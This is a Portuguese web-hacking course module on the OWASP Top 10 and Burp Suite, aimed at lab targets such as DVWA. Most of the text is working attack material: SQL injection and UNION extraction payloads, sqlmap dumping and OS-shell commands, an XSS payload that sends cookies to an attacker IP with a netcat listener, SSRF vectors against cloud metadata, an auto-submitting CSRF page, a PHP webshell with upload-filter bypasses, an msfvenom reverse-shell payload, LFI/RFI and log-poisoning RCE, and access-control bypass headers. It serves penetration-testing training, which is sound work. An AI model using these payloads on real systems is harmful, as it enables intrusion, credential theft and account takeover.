MÓDULO 8 — Hacking Web (OWASP Top 10) & Burp Suite Completo: Do Recon ao RCE

Navegador (Firefox) ──> [ Burp Suite Proxy (127.0.0.1:8080) ] ──> Servidor Alvo Web
         ▲                                   │
         └─────────── Edição / Fuzzing ──────┘

1. Listener Local: Verifique em Proxy → Proxy Settings se o listener está ativo em 127.0.0.1:8080.
2. Proxy no Navegador: No Firefox de teste, configure as preferências de rede para Proxy Manual HTTP: 127.0.0.1 porta 8080.
3. Instalação da Autoridade Certificadora (CA): Com o proxy ativo, acesse http://burp no navegador, clique em "CA Certificate" e importe o arquivo cacert.der no Firefox marcando "Confiar nesta CA para identificar sites da Web".
4. Validação: Navegue em um site HTTP/HTTPS de laboratório e confirme se o tráfego é registrado no Burp.
5. Isolamento: Utilize o Burp exclusivamente em um navegador dedicado de testes, jamais em seu navegador de uso pessoal.

- Sniper: Testa uma lista de payloads em uma única posição marcada por vez (ideal para XSS, SQLi em campo único).
- Battering Ram: Insere o mesmo payload simultaneamente em todas as posições marcadas.
- Pitchfork: Utiliza listas de payloads paralelas para posições distintas (ex: lista de usuários na posição 1 e lista de senhas na posição 2, testadas par a par).
- Cluster Bomb: Testa todas as combinações cruzadas possíveis entre múltiplas listas (essencial para brute force completo de login).

-- Exemplo de backend vulnerável:
SELECT * FROM users WHERE username = '$_POST[user]' AND password = '$_POST[pass]';

-- Payload injetado no campo user: ' OR '1'='1
-- Consulta interpretada pelo banco:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '...';

1. Disparo de Caractere de Quebra: Envie 1' ou 1" — observe se ocorre erro de sintaxe SQL (ex: "You have an error in your SQL syntax").
2. Validação Booleana:
   - Envie: 1' AND '1'='1 (A página deve responder com o conteúdo normal).
   - Envie: 1' AND '1'='2 (A página deve ocultar os dados ou responder com conteúdo diferente).
3. Teste Time-Based (Cego por Tempo):
   - MySQL: 1' AND (SELECT SLEEP(5))-- -
   - Se a resposta demorar 5 segundos para retornar, a vulnerabilidade está confirmada.

-- 1. Descobrir a quantidade de colunas retornadas pela query original:
1' ORDER BY 1-- -
1' ORDER BY 2-- -
1' ORDER BY 3-- - -- Se a coluna 3 falhar, sabemos que a query possui 2 colunas.

-- 2. Identificar quais colunas refletem dados na tela:
1' UNION SELECT null, null-- -
1' UNION SELECT 'col1', 'col2'-- -

-- 3. Extrair metadados e versões do SGBD:
1' UNION SELECT version(), user()-- -
1' UNION SELECT database(), schema()-- -

-- 4. Extrair tabelas e colunas através do Information Schema (MySQL):
1' UNION SELECT table_name, null FROM information_schema.tables WHERE table_schema=database()-- -
1' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name='users'-- -

-- 5. Extrair credenciais e hashes:
1' UNION SELECT user, password FROM users-- -

# Varredura autenticada com cookie de sessão:
sqlmap -u "http://192.168.56.10/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"        --cookie="PHPSESSID=abc123; security=low"        --batch --level=2 --risk=2

# Enumerar bancos de dados, tabelas e extrair registros:
sqlmap -u "..." --cookie="..." --dbs
sqlmap -u "..." --cookie="..." -D dvwa --tables
sqlmap -u "..." --cookie="..." -D dvwa -T users --columns
sqlmap -u "..." --cookie="..." -D dvwa -T users --dump

# Obter shell iterativo no servidor (quando privilégios de escrita existirem):
sqlmap -u "..." --cookie="..." --os-shell

<!-- Payloads clássicos e bypasses -->
<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(document.domain)>
<a href="javascript:alert(1)">Clique Aqui</a>

<!-- Payload injetado na aplicação vulnerável -->
<script>
  fetch('http://192.168.56.101:8080/log?cookie=' + encodeURIComponent(document.cookie));
</script>

# No Kali: Listener recebendo os cookies das vítimas conectadas
nc -lvnp 8080

Funcionalidades Suspeitas: Importadores de URLs, geradores de miniaturas/PDFs, webhooks e validadores de links.

# Vetores de exploração de SSRF:
http://127.0.0.1:80/admin/                    → Acesso a painéis administrativos locais
http://192.168.56.10/                         → Varredura de ativos na rede interna restrita
file:///etc/passwd                            → Leitura direta de arquivos locais do servidor
http://169.254.169.254/latest/meta-data/      → Extração de credenciais de IAM e instâncias AWS Cloud
http://metadata.google.internal/computeMetadata/v1/ → Metadados no Google Cloud Platform (GCP)

<!-- Exemplo de formulário de ataque hospedado pelo atacante -->
<html>
  <body>
    <h1>Parabéns! Você ganhou um prêmio.</h1>
    <form id="csrfForm" action="http://alvo.local/vulnerabilities/csrf/" method="GET">
      <input type="hidden" name="password_new" value="HackedPassword78!" />
      <input type="hidden" name="password_conf" value="HackedPassword78!" />
      <input type="hidden" name="Change" value="Change" />
    </form>
    <script>
      document.getElementById('csrfForm').submit();
    </script>
  </body>
</html>

<!-- Webshell PHP mínimo -->
<?php system($_GET['cmd']); ?>

1. Variação de Extensões: .php5, .phtml, .pht, .phar, .inc, .php.jpg, .php%00.jpg
2. Manipulação de Cabeçalho MIME no Burp: Alterar 'Content-Type: application/x-php' para 'Content-Type: image/jpeg'.
3. Injeção de Magic Bytes (Assinatura de Arquivo): Inserir 'GIF89a' na primeira linha do webshell para contornar verificações de assinatura de imagem.

# Geração de Webshell Meterpreter via MSFVenom:
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f raw -o webshell.php

# Execução e teste de comandos após upload:
curl "http://192.168.56.10/dvwa/hackable/uploads/webshell.php?cmd=id"

// Código PHP vulnerável:
include($_GET['page']);

# Path Traversal clássico:
?page=../../../../../../etc/passwd
?page=../../../../../../etc/hosts

# PHP Filter Wrapper (Extração de código-fonte em Base64):
?page=php://filter/convert.base64-encode/resource=index.php

# Log Poisoning para RCE:
1. Injetar código PHP no cabeçalho User-Agent de uma requisição qualquer:
   User-Agent: <?php system($_GET['c']); ?>
2. Incluir o arquivo de log do Apache via LFI:
   ?page=../../../../var/log/apache2/access.log&c=id

?page=http://192.168.56.101:8080/shell.txt
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id

Requisição Legítima: GET /api/documents?doc_id=1050
Ataque via Burp Intruder: Fuzzing sequencial de 1000 a 2000 no parâmetro doc_id para extrair documentos de terceiros.

# Variações de Path Traversal e Normalização de URL contra regras 403:
/admin
/admin/
/Admin
/%2e/admin
/./admin
//admin
/admin%20
/admin%00
/admin..;/

# Cabeçalhos HTTP de Spoofing de IP Interno:
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1

# Auditoria automatizada em ambientes WordPress:
wpscan --url http://192.168.56.10/wordpress/        --enumerate u,vp,vt        --api-token SEU_TOKEN_WPVULNDB

# Extração de usuários via API REST nativa do WordPress:
curl -s http://192.168.56.10/wp-json/wp/v2/users | jq '.[].slug'

1. Definição de Escopo & Regras de Engajamento (RoE)
2. Reconhecimento Passivo e Ativo (WhatWeb, Gobuster, Robots.txt, Sitemap)
3. Mapeamento Estrutural no Burp Suite (Site Map e HTTP History com fluxo completo do usuário)
4. Análise de Autenticação, Sessões e Controle de Acesso (IDOR, Tampering de Parâmetros, CSRF)
5. Testes Cirúrgicos de Injeção de Input (SQLi via Repeater, XSS em múltiplos contextos)
6. Auditoria de Uploads e Inclusão de Arquivos (Bypass de extensões, LFI/RFI, Log Poisoning)
7. Validação Manual e Consolidação de PoCs (Eliminação de falsos positivos com cURL/Burp)
8. Elaboração do Relatório Executivo e Técnico com CVSS e Mitigações Claras